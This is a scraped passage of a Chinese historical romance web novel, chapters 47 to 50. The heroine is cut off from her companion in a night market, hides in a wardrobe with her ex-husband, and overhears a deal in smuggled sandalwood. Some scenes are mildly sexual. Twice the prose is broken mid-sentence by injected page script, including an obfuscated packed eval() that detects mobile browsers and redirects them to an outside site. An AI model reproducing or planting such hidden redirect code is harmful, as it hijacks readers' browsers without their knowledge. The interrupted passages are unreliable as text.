“我不困,再陪小肆哥哥待一会儿。你们先回吧。” “可是……”紫殷阴暗地瞥向伍听肆。 “你放心,我不会有事的。”耿婳笑得坦荡,紫殷只好听她的,带着那俩姑娘回家了。 耿婳转身回雅间,桌上一片狼藉,伍听肆歪歪扭扭地斜倚在两张椅子上,一手勾着摇摇欲坠的酒壶,一手指天。 “小婳婳,你个没良心的。”他打了个嗝,散发出难闻的酒味,“也不知道伺候我。” 耿婳笑着抓住他指天的手,拔下发簪往指甲缝里一插。 “嗷——” 伍听肆尖叫着坐直,指甲盖上还挂着尖细的发簪。 耿婳说:“叫你不正经。” 他“嗤”了一声,瞪她一眼,咬着牙拔出发簪,额上冒出豆大的汗珠。 “酒醒了?”耿婳幽幽问。 伍听肆擦了擦汗:“能不醒吗?” “里面就是晓市入口?”耿婳环顾四周,问。 伍听肆奇道:“你怎么知道?” “我刚刚出去送走她们,看饭庄里好多吃完不走的人,多是江湖打扮的客商。一个为官从文的正经人没有。” 伍听肆嘴唇含着受伤的手指,听到最后一句话,说:“那可不一定,进了晓市谁也不认识谁,你怎么就确定没有朝廷的人?” 伍听肆小憩了一会儿。室内的香炉要燃尽了,漏刻上显示已到子时。 “外面有动静。”耿婳警觉地推醒他。 “走。”伍听肆利索地站起身,带耿婳汇入外面的人流中。 魏巍一直盯着他们,见两人出来,立刻保持不远不近的距离悄悄尾随。 晓市出口就在饭庄后院,顺着人群过去排队各交一两银子,耿婳和伍听肆领到黑色斗篷。 “穿好,戴上兜帽。”伍听肆小声提醒她。 耿婳照做,把自己包裹在厚实的黑衣里。此刻她终于明白伍听肆那句话的意思。穿着一样黑色的斗篷夜行在外,进了晓市果然谁也不认识谁。 伍听肆很自然地牵到了耿婳的手。耿婳看了一眼,迟疑一会儿没有挣脱。 从后院的角门出来,黑暗一挥而散。他们走了一段路,耿婳隐约觉得已经出城。他们来到了一片明亮的街市中,两侧槐树上挂着明晃晃的红灯笼。 刚刚开业的晓市摩肩接踵,人声嘈杂,热闹得仿佛一座不夜城。 涌入晓市的人都穿着黑乎乎的斗篷,玄海领了两件,和魏巍迅速披上。他一直盯着耿婳的身影,不会看错——她居然和那个男人牵着手! “玄海!”他拧着眉,低声命令。 玄海领会他的意思,戴好兜帽飞速跑去,撞开了挨靠在一起的耿婳和伍听肆。 人流如织的街巷里,耿婳被挤到一边,周围黑漆漆一片,她再也找不到伍听肆的位置。 焦急中,她喊了两句“小肆哥哥”,可惜刚好经过吆喝声很大的一家店铺。耿婳的声音被完全淹没。 等她挤出人群,平静心跳后定睛一看,她已经和伍听肆走散了。 47. 047 耿婳在人来人往的街道上四处串游,始终没寻到伍听肆。道路两侧有不少穿着黑斗篷的人就地摆摊。有堆成小车的前朝货币,有如假包换的官府文书和大印,有珍贵的官窑瓷器,还有朝廷禁止私人交易的各种商品。 什么黑市!耿婳在心中腹诽,她甚至看到有卖婳坊新品配方的! 除去就地摆摊的小商贩,两侧也有不少店铺门脸,每家门店前都点着一个橘红色的破旧灯笼。 耿婳打算先去买白莞,再到晓市入口等伍听肆。她借着灯光寻找药材店,惊奇地发现所有店面匾额上都无字。 来往进店的人会自觉关上店门,神神秘秘的。光从外面看,根本不知道哪家店是卖啥的。 耿婳迷茫地走过几家店,忽然从一家房门紧闭的铺子外闻到了香料的味道。 白莞是一种会发散异香的西域植物,她打算碰碰运气。 进店后耿婳就后悔了。 店里艳香弥漫,味道比外面闻着呛多了。墙壁上画着不可描述的男女交合图像,一间间内室里传出男女嬉笑的声音。 不知道以为她在逛窑子。 耿婳刚要原路返回,就撞见一个坦胸的男人。虽然看着是男人,却比女子还妖艳三分。他眉眼带笑,皮肤比耿婳还细嫩白净。 来人望着兜帽里精致的小脸,立刻热情地贴上去:“娘子可需要奴家伺候?” 难道是……男.娼.馆? 耿婳皮笑肉不笑地说:“不用了,大哥。” “别不好意思嘛。”那人捂嘴笑了两声,耿婳立刻起了一身鸡皮疙瘩。 这人娇嗔着还想纠缠,她连连退后,想要躲开。 “有客人,别让她跑了!”不知哪里冒出来的老鸨尖叫道。 又一个美男凑过来套近乎,耿婳慌忙躲开。 屋子里,一些准备接客的同行出来抢人,耿婳连忙顺着走廊往里跑,随意推开一扇房门。 房内红帐里正颠鸾倒凤,听到开门声,王夫人从帐里探出小脑袋,吼道:“哪个想死的坏老娘好事?!” 耿婳怔然地望着披头散发衣不蔽体的王夫人。两人四目相对,一时间不知道谁更尴尬。 但她这一嗓子还挺管用,外面追逐耿婳的男人们立刻老实了。看来王夫人是这店里的常客啊,耿婳心想金主发话,分量自然重。 她假装什么也没看见,迅速出房,走时还顺便带上了门。 追求她的那些男.娼没了刚才的气焰,一个个毕恭毕敬小声求着她,一个个语气软绵,很好说话的样子。 耿婳仍震惊刚才看到的画面,脑袋一团乱麻,她甚至没注意眼前的路,跌跌撞撞从牛郎店的后院出去了。 耿婳重新戴上掉下去的兜帽,走到街巷外。 这条街不是她来时的路。耿婳有些懊恼,害怕伍听肆找不到自己。可如果原路返回,又要经过刚才的店铺。 那还是算了吧。耿婳不想再经历一次了。 可王夫人怎么会在这种地方出现,还背着刺史老公干这种事? 耿婳正思考着,忽而被一声粗重的嗓子吼了一句。 “让开!” 耿婳看见一个壮汉,后面还有几个抬箱子的人。她还没来得及发脾气,就看到这几人没有穿戴斗篷,她又眯眼看箱子,瞳孔皱缩。 她目力不好,但奈何这箱子过于熟悉。 这不就是前段时间山上采药时看到别馆运出来的木箱吗? 紫檀木交易? 耿婳瞬间意识到这事,悄悄尾随那群人进了一家漆黑的门店。 这家店外面没有灯笼。耿婳在他们进去一炷香后,小心翼翼溜进去的。 她怕出声响,进门后没关店门。店里没有一盏灯,四周漆黑一片,她寻着说话的声响蹑手蹑脚到了走廊深处那间有微光的房间外,隔着破旧的门板偷听。 “这确实是尚好的紫檀木。”一人说。他的声音有些熟悉,耿婳好像在那儿听过,但却记不起是谁。 耿婳隔着门缝,看见说话的人正提着灯笼查看木箱。可惜她看不清是谁。 里面的壮汉粗声说:“废话,刺史大人担保的东西还能有假?” “这一箱,怎么卖。” 壮汉拿手比了个数。 那人惊道:“这、这么多?狮子大开口啊!” “废话,这是我们大人从岭南丛林里挖掘来的,运费也得算进去!你不想要有的是人想要,今儿最后一天了,等天明就该运到京城了!” “运到京城?”那人嘀咕。 “那可不,我家大人的生意做得大!”意识到说多了话,壮汉粗声道,“去!少他娘瞎打听!” 门外偷听的耿婳只顾偷听,震惊之余不小心踩到了地上碎木屑。“咯吱”一声不算大,但却让机警的壮汉听到耳里。 “谁?!”他忽而扭头看门,三步并作两步走来。 耿婳惊得三魂七魄移位,恐慌之际她正要拔腿跑,忽而被一只大手捂住嘴,毫无防卫地被人拖到了角落。 几乎同时,壮汉打开房门,门扉展开,正好将两人掩在门后角落。 四周漆黑寂静,魏巍一手捂着耿婳的嘴,另一只手解开腰间玉佩,用力扔了出去。 玉佩在远处发出清脆声响,叮咚坠地。 “在那儿!追!” 壮汉领着一群人飞奔而去,留下问价的人独自守着箱子。 直到走廊尽头再无声响,魏巍带耿婳进屋,才松开手。 屋内的人尚提着灯笼,耿婳借着灯光,看清此人,也看清了身旁的魏巍。他做了一个嘘声的手势,耿婳压下惊讶,点点头。 张别驾提着灯笼,看看魏巍,再看看耿婳,惊得失语。 走廊里又传出了跑步声,那群人好像要回来了。张别驾指了指旁边的衣柜,暗示他们躲到那里去。 耿婳瞅了眼脏兮兮满是灰尘的柜子,嫌恶地皱了皱鼻子。 魏巍轻轻打开柜门,钻了进去。须臾,他伸出一只手。耿婳没得选,只好搭上去由着魏巍扶自己进去。 一进来她就被满柜的尘土味呛得难受,要打喷嚏的瞬间,魏巍捂住了她的口鼻。 耿婳报复性地咬了他手心一口。 眼看那群 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 人的脚步声临近,魏巍从里边轻轻带上柜门。视线内的光亮逐渐消失,最后变成一条明黄色的竖线。 耿婳瞪了他一眼,魏巍乖乖放下捂住她的手。柜子过于窄小,两人微微弯着腰,肩膀挨靠在一起。 “哼,什么都没有,估计闹耗子了。”壮汉口气不善。 张别驾假装松了口气,叹道:“这大晚上的能有啥呀。” “你到底买还是不买?”听语气,他的耐心已经告罄。 张别驾忙道:“买买买!我买!” “一手交钱,一手交货!”壮汉粗声说。 “好咧,好咧。”张别驾拿出几张银票,咬咬牙,递了过去。 壮汉手指蘸了口吐沫,开始数票子。 “多出来的钱,卯时连同货物一块送到您府上。”他道。 张别驾愣了一下,面露难色,似乎对这个处理不满意。 “不是一手交钱,一手交货吗?”张别驾委屈。他为官清廉,从不贪污,这些年积攒的银子并不多。当地官场数他抠搜拮据,花钱如割肉。 “老子身上没带钱!”壮汉不耐烦道:“过几个时辰就给你送过去了,还怕我们跑了不成?” 张别驾就想他马上找零钱,嘟嘟囔囔说着这些话。 文人谈钱,一向是个尴尬又拖延的事。 耿婳闷在废旧的柜子里,撑着柜子角落的手百无聊赖地挪了两寸,戳破了一层蜘蛛网。突如其来的触感惊得她嘤了一声,迅速抽回手,本能缩到一边,结果撞了魏巍满怀。 到底还是发出些小动静。 壮汉扭头:“什么声?!” 耿婳吓得僵住身子。魏巍顺势搂住怀里的人儿,嘴巴学着老鼠“吱吱”叫了几声。 “又闹耗子了呗。”张别驾说。 壮汉闷闷哼了一声。 耿婳心有余悸,仍保持着僵硬的姿势。魏巍悄悄将手贴到她后背。 一股温热的触感从背部蔓延,开始缓慢温柔地上下移动。耿婳呼吸渐渐平稳,微耸的双肩松弛下来。 站久了双腿都是麻的。耿婳是,魏巍何尝不是。他贴着衣柜的一面,慢慢弯下膝盖,顺利地坐到柜面上。 他怀里的耿婳不自觉跟着往下带,双腿不稳时坐到他的大腿上。 魏巍双腿曲着,坐在柜子里。耿婳扭曲着贴在他怀里,她本来还有点不适应,但是一想周围可能全是蜘蛛网。 他的怀里至少是干净的。 耿婳姿势有点不舒服,稍微扭了一下。娇臀不经意间蹭到了他敏感的部位。 “嗯。”魏巍闷哼。 耿婳立刻学着他嘟嘴“吱吱”叫。但是外面人本没有发现,她这是此地无银三百两。 气氛瞬间尴尬得不像样。 外面的张别驾还在和壮汉讨价还价,喋喋不休。一时半会儿,她可能出不去了。 衣柜里尘土飞扬,空气稀薄,过了一会儿她感到头沉沉的,扭曲的身体也开始发麻。 比她更不舒服的是魏巍,他感觉到某处温度上升。 温香软玉躺在怀,这是他难以控制的。 48. 048 屋子里,俩人还在吵。 “我们会欠你银子?知不知道我们大人是谁?人家堂堂……”壮汉欲言又止,险些说漏嘴。 张别驾能不知道他背后人是谁吗?他正是冲着背后人的身份才买单的。所以,只能是他妥协。 “罢了,罢了。我允你还不成吗?” 张别驾说完,又嘟囔:“你万一迟了又该当如何,最好留个抵押物才妥当。” “小气样儿!给你给你给你!”壮汉不耐烦地撤下胸口的金坠子,朝着他脸丢过去。 张别驾接住金坠子,拿牙咬了咬,这才放心。 “你可给我收好了!”壮汉没好气地说,“滚吧滚吧,卯时后院角门收货!” “哼,要是敢有虚言,这金坠儿你甭要了!”张别驾色厉内荏说完,晃了晃手里质物,趁壮汉发飙前“嗖”一声跑出店铺。 “我去你妈的!”壮汉抄起桌上酒碗朝他逃走的方向掷去。 落地的粉碎声惊得耿婳一激灵,陈旧的破柜里空气又稀又脏,逼仄的环境压得人喘不过气。 “别怕。”他低下头凑到她耳边低语。 “怎么还不走。”耿婳耳语,她窝在窄小的破柜子里不敢动一下,身体和心理通通不适。 外面人像是回应耿婳疑问似的,对那帮看箱子的人说:“去买些牛肉酒水,哥儿几个喝他一晚上!” 有人领命出去了。 耿婳窝火,看来一时半会儿是出不去了。 “头儿,这人之前几次讨价还价,看着都穷酸,谁承想交易能成啊!”一人叹道。 壮汉粗声说:“谁知道他咋想的!能在家门口卖掉也好,不然去京城山高水远,万一有个波折可不好交差。” “京城的达官显贵缺货可不好交代啊!” 壮汉嗤笑:“怎么会少了他们的,前段时间运过一批了。这次是最后一趟。下次再等岭南运货,就是两个月后了!” “原来如此,还是大哥想得周到。” 柜中,耿婳竖着耳朵听得仔细。过了一会儿,外面传来了喝酒打诨的动静。以壮汉为首的众人干脆在屋子里吃了起来。 耿婳待久了,腿也麻,腰也僵,长久呼吸不到新鲜空气,脑子也跟着发蒙发沉,她几乎快要晕过去了。 她坐在魏巍的大腿上,那附近好像受了炮烙之刑一般热烫。 耿婳抬眼看他。黑暗里,魏巍的眉眼模糊,他垂着头,表情看不清,但从他的温度和微僵的身体不难看出,他也在隐忍。 “还好吗?”外面的动静很大,耿婳提声问。 “我没事。”魏巍睁开眼睛,拂去额上汗珠。 “他们卯时前会走,到时候就能出去了。”他把手重新放回她的后腰,“你不用怕。” “这话应该我对你说。”耿婳勾唇笑。她有点困了,脑袋靠回魏巍胸膛上,闭上眼睛。 “睡吧睡吧。”他轻轻给她顺背,像哄孩子一样。 耿婳躺了一会儿,别扭的睡不着觉。她试图伸开退,换个更舒适的卧姿,于是耿婳抓住他的肩,轻轻将身子提起来,想重新躺下。 隔着单薄的衣物,身体的剐蹭摩挲令魏巍发疯。耿婳再次坐下去时,沉甸甸的胸襟蹭到了她的下巴。 “嘶。”她轻声。 魏巍沙哑着嗓子问:“怎么了?” “你烫到我了。”这样反而更不舒服了。 耿婳还想换姿势,魏巍轻声斥她:“别乱动了。” 察觉语气不对,他忍着难受轻声说:“先忍一忍,等睡着了就习惯了。” “好吧。”耿婳无可奈何,只能悻悻应下。 她靠在他肩头,过了一会儿没心没肺睡着了。魏巍压着火,不知不觉也乏了。 等他再次醒来时,是被外面搬运箱子的动静吵醒的。看来他们出发给张别驾送货去了。等外面彻底安静后,魏巍试图叫醒耿婳。 黎明总是格外寒冷,耿婳下意识抱紧他取暖。魏巍脱下身上黑斗篷,裹在她身上。 又过了一会儿,魏巍适应了柜中视线,看清了身边的姑娘。即使环境很差,她仍睡得香甜,嘴角还挂着晶莹的口水。 “婳儿,醒醒。”魏巍轻轻唤她。 她睡得很沉,魏巍无奈地晃动她娇软的身子。事不宜迟,他们必须先从晓市出去,再到张别驾家中问清实情。 “婳儿,婳儿?!” 耿婳像一湾春露瘫在他怀里,纤长的睫毛颤抖着,慢慢张开眼睛。 春水似的美眸好像蒙了一层雾气,她揉了揉眼睛,还处于混沌之中。刚抬起的小脑袋瓜又贴到了他的胸上。 “我们在哪儿……” “在柜子里,送货的人已经去找张别驾了。我们得跟上。” 耿婳“哦”了一声,还没完全醒过来,她很想再次睡过去。可是事态紧急,容不得半点耽误。 “得罪了。”魏巍狠下心,大掌打在她滚圆的屁股上。 “嗯!”耿婳发出嘤咛的低吟,身子舒展开来,像个在主人怀里打滚的小猫。 魏巍的眸子深邃,喉结一滚,闷哼了一声。 耿婳伸完懒腰,松弛地趴在他怀里。过了一会儿,猛然抬头问:“什么?他们都走了?” 魏巍:“……” 耿婳急道:“赶紧追!” 她从推开柜门就往外爬,朝里面的魏巍喊道:“你还愣着干什么!” “我腿麻着呢。”魏巍叹道。在狭小逼仄的柜子里挤了一晚,还伺候着怀里的小祖宗,虽然心里美,但身体却难受得紧。 耿婳拉住他的手,慢慢助他起身。 室内已是一片狼藉,吃剩的饭菜招来蚊蝇,碗碟碎了一地,有一坛酒倒在桌边,里面的酒水流了一地。 耿婳扯下黑斗篷扔在地上。 “快走!”魏巍说着要去牵她的手。 耿婳反应过来,理都没理他直接往店铺外奔。 除非万不得已,她怎么愿意和他接触。魏巍尴尬收回僵在空中的大手,跟了上去。 临近卯时,天已蒙蒙亮,此刻的晓市分外冷清。街边的店铺临近打烊,摆地摊的都已经撤走。街道上也难寻到路人。 耿婳在晨风里缩着身子,突然后悔扔掉了那件厚实的黑斗篷。 下 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13941669|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一刻,温暖从身后袭来。魏巍把自己的斗篷披在她身上,为她系好细带,再将兜帽戴上。 “多谢。” “无妨。”魏巍环顾四周,搬箱子运货的壮汉一行人果然走远,他们迷失了出去的路。 他昨晚一直尾随耿婳,跟玄海也走散了。此刻,只好挨着店铺打听,可不少店铺开始打烊,大门缩着。 “这家还有人!”耿婳指着一处店面欣喜道。 判断店铺关没关的区别在于,看灯笼还亮不亮。她指的这家店尚且没熄灭灯笼。 魏巍跟她进去,还没来得及问路。店里掌柜的率先吆喝:“新进西域药材,南洋名草,可有买的?” 耿婳眼睛一亮,问:“有没有白芷?” “有的有的。”掌柜的打了个哈欠,和耿婳达成交易。 魏巍问:“有没有佛手红花?” 耿婳一惊,扭头看向他。 “你可真走运,今儿刚开市就有人卖给我一批新鲜的。” 掌柜的没说完,就被魏巍打断:“有多少?我都要了!” 耿婳讶然,奇道:“你要这东西干嘛?” 魏巍罕见没答话,他还要赶着去找张别驾,于是付了钱又报了地址,让掌柜的卯时左右送去。 掌柜的笑得合不拢嘴,这一买一卖,直接赚翻了。魏巍问他晓市的出口,他好奇地打量这位没穿斗篷的贵气客人。 得知了出口方向,魏巍转而拉着耿婳往外走了。 *** 张别驾在府上一夜未眠,一直派人盯着后院的角门。卯时,壮汉果然如约送上了货物。张别驾收了零钱,还给他金坠子。 “大人钱货两清,为何还要叹气?”管家问。 张别驾有苦说不出,招呼管家去正堂准备上好的西湖龙井。 他这次鼓足勇气买了王刺史的货物,相当于送上一张投名状。他这一生鲜少干不三不四的事。可眼看着昔日同窗同僚一个个高升,自个儿因为耿直老实却得不到重用,他能不急吗! 张青早就听人说起过王刺史背地里的买卖。不少官员为了巴结他,自愿高价买他走私的紫檀木,再将雕刻好的紫檀由节日贺礼的名头送给王绅,以此表忠心。 他这回打探了半天,才摸清了门路,谁知道运气这么差,刚弄清就被上边派下来的魏巍抓了个正着。 茶刚沏上,魏巍和耿婳就登门拜访。 张别驾已经做好了心理建设,他屁股刚坐稳,就见到一男一女朝正堂方向而来。 耿婳走路带风,气势汹汹,她还裹着宽大的黑斗篷,但仍压不住浑身的气势。 “王绅从岭南差人砍伐紫檀木,运到扬州走晓市贩卖,留下的再运到京城供给达官贵人。好一笔买卖!”她刚踏进门槛,嘴巴就连珠炮似的疯狂输出。 魏巍冷冷地说:“张别驾,你该给我们一个解释。” 这两人站在那儿,颇像来索命的黑白无常。张别驾一瞬间倍感压力,他向来老实,但凡敢背地里干点勾当,就会心虚无比。 瞧着两人开门见山的审问,张青嗓子一干,谄媚的腹稿一句都说话不出来了。 49. 049 正堂内,别驾张青一五一十地说出了事情经过。 “为了加官进爵去支持走私生意,张别驾你有几个脑袋够砍?”魏巍问。 张青两股战战,辩解道:“小人不敢小人不敢。大家争相购买卑职只是和光同尘而已。” 他再三强调是初犯,魏巍好不容易抓住王绅的小辫子,岂会轻易放过。 “素知大人人脉甚广,在圣人身边都能说上话,还望大人高抬贵手,饶我一命!”张别驾言辞恳切,再三乞求,就差下跪了。 “不想卷进去,那就入本官的局。”魏巍道。 张别驾一怔,“大人何意?” “既然想买紫檀木雕成家具奉承王刺史。若能找到他走私檀木的货单或详实记载,本官既往不咎。” 够聪明。耿婳心里道。他想把张别驾收为己用,安插到王绅身边当线报。他被罢相,好友许渊也被贬谪。这必然是朝堂政敌所为。以王刺史走私紫檀为切入点,到时候拔出萝卜带出泥,势必抓住幕后买单的京城保守派官员。 张别驾眼神一滞,立刻作揖应下:“下官必然为司马大人马首是瞻。” 魏巍颔首,与耿婳一同出了别驾府。 卯时刚过,街边的市集商贩上岗。 魏巍和耿婳不顺路,但她没有抵触与他同行,于是他若无其事地与他并肩而行。 虽然她照旧对他爱答不理,但走了一趟晓市,两人之间一直以来的僵持气氛有所缓和。 路过一家鱼汤店,魏巍问她:“要不要吃点东西?” “随便。”耿婳随口一应。她慢吞吞走着,酸麻的腿还没缓过来,整个人无精打采。昨夜没睡好,当下眼皮子困得打架,哪有心思听他说话。 “那走吧。”魏巍笑着拉过她的手。 耿婳敏锐地抬眸,魏巍解释:“我怕你冷。” “切!”耿婳道,“我用得着你帮我暖?!” 魏巍转移话题:“我看你又累又困,喝个热汤垫一垫,回去赶紧歇息吧。” “少来这套!”耿婳声音尖尖的,进了店还在吵吵。 小二乐乐呵呵过来,对魏巍笑道:“公子和夫人要点儿什么?” “谁是夫人?!”耿婳怒目瞪着这个不知好歹的店小二。 魏巍还牵着她的手,被认成两口子属实正常。 店小二听着耿婳的质问,不慌不忙说:“我还不知道?出门恩爱有加都是偷情的,夫人您这暴脾气,一看就是原配!” 耿婳气结,“啪”一声甩开魏巍的手。 “有理有理。”魏巍笑着抛给他一锭银子,“准备两碗鱼汤,其中一碗不放辣子。剩下的钱都赏你了。” “得咧!您请好吧!”店小二得了银子,眉开眼笑地备菜去了。 耿婳一拳打在棉花上,水眸瞪着魏巍,有火没处发。 “都怪你!” “怪我怪我。”魏巍喜欢看她嗔怒的娇憨样子,连连道歉。 鱼汤鲜美,吃饱喝足后耿婳反而没刚才那么累了。 鱼汤店离西市毕竟近,耿婳打算直接去西市的新店看看。在街上走了一会儿,耿婳就见到了慌张找过来的阮若。 “掌柜的!您在这儿啊!”她见了耿婳欣喜若狂。 “怎么了,我不能在这儿了?” 阮若忙道:“昨晚你去了晓市一直没回来,伍老板找了您一宿刚在婳坊歇下!” “是吗?”耿婳这才给阮若解释,“我在晓市和他走丢了,今早才回来。” 阮若顺着她的目光看到魏巍。难道掌柜的和他过了一夜? 啊,这…… 魏巍领会着她迟疑的目光,立即对耿婳说:“耿姑娘,我随你去婳坊看看。” “耿姑娘?”阮若悄悄嘟囔。真是奇了,称呼都变了呀。 耿婳还想和魏巍聊一聊王绅走私的事,就没拒绝他。三人一同回到吉庆街,伍听肆就等在外面。 他神态颓靡,眼下乌青,估计一整晚没睡觉。 “小婳啊小婳,你怎么到处乱跑,这一宿找不到人我都快急哭了!” “那怎么没哭。”魏巍勾唇冷笑,在耿婳身边嘀咕,“还挺会装。” 耿婳没理他,只轻松对店里的伍听肆说:“我没事,小肆哥哥。紫殷和芊芊呢?” 此刻伍听肆一点也不想回答这个问题,他注意到了和耿婳身边的魏巍。他的衣袍和耿婳的裙子一样皱巴巴的,像纠缠过似的。 他脸颊上印着形似发丝的睡痕,看着不像男人的束发留下的印记。伍听肆转而看向耿婳,她的发髻蓬松,比魏巍的还乱。 “他们不放心你,也出去找了,还没回来呢。”阮若说。 耿婳“嗯”了一声。魏巍在她身边饶有兴致看着伍听肆的表情变化。 索性伍听肆也是个老江湖,什么世面没见过,迅速收起了心中所思。他温和地看向魏巍,说:“小婳呀,你身边这位还没介绍给我认识呢。” 他一副真要和魏巍交朋友的样子。 耿婳回道:“他是新任的司马魏大人,顺路一起回来的。”她没说前夫这层身份,毕竟伍听肆一定知晓。 “司马大人,幸会幸会!”伍听肆立刻迎他,民见官该有的礼仪是一个都没做。 “吾乃扬州商人伍听肆,和小婳是故交。”他料定魏巍不会指责礼仪举止,因为他和小婳都是商人,敢让他下跪那同样耿婳也要下跪。 “故交?”魏巍不咸不淡地说,“我可从来没听婳儿提起过你。” 就你会装?爷比你还能装! 伍听肆经商多年精明得很,偷梁换柱到上一个话题,问耿婳:“既然是顺路,那他怎么还……” 欲言又止,但撵人的意思已经在嘴边了。 魏巍微不可查地皱皱眉。 “我与他有话要说。”耿婳给了魏巍一个眼神,示意她上楼说话。 伍听肆容光焕发的面色略略黯淡,他道:“真是奇了,第一次见你找外男单聊。平时啥事不和我说啊,咱俩一说就是一晚上!” 他这话明显不是说给耿婳听的。 急了?魏巍只能为难地说:“还是在众人面前坦诚说吧,这样免去外人胡思乱想。我们孤男寡女楼上私会难免惹人非议。我不想坏了耿姑娘名声。” 这话笑里藏刀,可谓歹毒。先是礼貌客气地保全耿婳名声,再惹人遐想。 什么孤男寡女什么私会惹人非议,一口一个耿姑娘这么暧昧,难 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13949317|146077||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 不成是要旧情复燃?阮若就领会到了这次意思,嘴角都要咧到耳根了。 同时还和伍听肆形成鲜明对比,狠狠踩了他一脚。 这下就把伍听肆逼到了绝境。人家前夫都知道避嫌,你一个外男怎么还老晚上一宿一宿聊天,不考虑姑娘家的感受和名誉吗? 魏巍三言两语让伍听肆里外不是人,气得他牙痒痒。 “你废话什么!让你上来就上来!”耿婳不耐烦说完,已经上了楼。 “失陪了,各位。”魏巍温和地与他们道别,最后将目光停留子啊伍听肆的脸上。 “我与耿姑娘发乎情止乎礼,你是她哥哥,请放心。”他上楼前有给伍听肆戴了一个“哥哥”的亲人帽子,一副即将接管耿婳妹妹往后余生的做派。 “魏司马纵横官场,处事周全,必然知晓前夫这个身份何事该做,何事不该做!”伍听肆压着火。 “不劳您挂心。”魏巍扭头阴阳一句,旋即上楼。 “你和他斗法斗都够了没有?”闺房里,耿婳喝着茶水。 魏巍揣着明白装糊涂:“你是说王刺史?” 耿婳:“……” 她忘了眼前的男人长她十岁,处事圆滑宛如狐狸。就算是和伍听肆暗暗唇枪舌战,可只要摊开了道明了,他绝对不会认。 他是个有傲气的,如果被人发现和商贾斗嘴,那岂不丢了他洛阳魏氏的面子? “婳儿找我来,是想谈王刺史走私紫檀的事。”他说。 耿婳暂时没心思纠正他的称呼,只说:“我也是好奇。没想到他敢背地干这种勾当。” 魏巍轻叹:“听我一句劝,就当不知道,什么也没看到,别再追究。” “那你呢?”耿婳问。 她还没等他答,就说:“其实你上次和我在山上偷看就确实了这事,当时为何还否认,还骗我?” 魏巍顿了顿,说:“官场险恶,我不想让你掺进来。” “切。张别驾看咱们一唱一和,必然觉得我和你是同党!” 受了嫌弃,魏巍垂眸道:“我也不想让你当我的同党,我也不想让你入局。” 耿婳知道他的心意,却说:“以后最好和我避嫌,不要老是来找我,不然别人还以为我和你有什么呢。张别驾会乱想,小肆哥哥会乱想,还有阮若,还有……” 她还在喋喋不休。魏巍五脏六腑像被狠狠拧了一下,虽然不求她答谢,但没想到是这般伤人。 方才舌战赢下的喜悦尽数退散。罢了,这是他自找的。 “好,以后我尽量不和你添麻烦。”魏巍努力掩饰失落和委屈。他没说“远离她”的话,他不会对不想遵守的事情承诺。 “其实,也不必刻意避嫌。你是官我是民,我们怎么会有多余的交集呢。”耿婳嗤笑。 话谈到这里,好像已经没有再继续的意义了。他们俩有什么可谈的,根本不是一个世界的人。 思及此,她忽而有些伤感。飞鸟与鱼不同路,她竟然肖想过与她本不该瓜葛的男人。 甚至到现在,她本能觉得魏巍远远在她之上。只有不断地贬低他打压他,才显得自己与他差距不大。 原来,她原来会仰慕这个人,是有原因的。 50. 050 六月的天气开始闷热,街边的柳树上蝉鸣不断。 魏巍从晓市回府后,第一时间给许渊修书一封。 许渊此时应该到了岭南,魏巍让他抽空暗地监察当地的紫檀木。他把王绅走私的事情一五一十告知好友,如果能通过许渊里应外合找到确凿证据,就可以反将一军。 耿婳没想到佛手红花那么难吃。她按照伍听肆带回的药方按时吃药,苦得舌头都要掉了。所以回回吃完药,她都奖励自己躺凉席上吃酥山喝荔枝膏水。伍听肆听说后干脆送了她一尊大冰鉴,耿婳吃吃喝喝了几日,为的是躲避王夫人的邀约。 自从晓市撞见她行苟且之事后,耿婳尴尬到不想再看见她。可她偏偏嘴馋想吃最新的乳糖冰雪。报应来的太快,刚从铺子出来她迎面撞见王夫人身边的大丫头。 “呦,巧了,耿掌柜。”她笑盈盈招呼耿婳,“我家夫人路过,正好送您一程。” 耿婳也不知是真偶遇还是假偶遇,她腿脚不听使唤地被丫鬟扶上车。刚一进去就被凉飕飕的温度搞得异常舒适。 宽敞的马车中央放着一台置满水果和饮品的冰鉴,王夫人悠闲坐在一边吃着喝着。她穿了一件透亮的红色褙子,缎面薄如蝉翼。 耿婳原来见她打扮清凉也没曾多想,现在脑子里已经回想起红帐里那些不可描述的事情。 瞧她面色古怪,王夫人哂笑道:“到底年轻。” 耿婳被她煞有介事意有所指的语气搞得很是别扭,不服气地说:“你是觉得那种事很光彩?” “男欢女爱,人之常情。”王夫人嚼着冰镇葡萄,语气寻常,“许他在外面花天酒地,我就不能逍遥快活?” 她大方承认偷.情的事,一点不好意思都没有。 耿婳之前就对她的私生活有所怀疑,所以得知真相时没有太惊讶。她只是没想到有人会觉得这事快活! “你确定?”耿婳顿了顿,慢吞吞低声说,“逍遥快活?” 王夫人看着她羞红的面色,咯咯地笑了。 “你还小,等三十多四十多就离不开床笫那一套了。”她拿出过来人的口吻,说:“记得找个精壮点的汉子,每天保你满面红光!” 耿婳脸上燥热,她忽而想起之前和魏巍的那几次,回回疼得宛如车裂。他胯间的“凶器”是她见过最丑陋的东西。 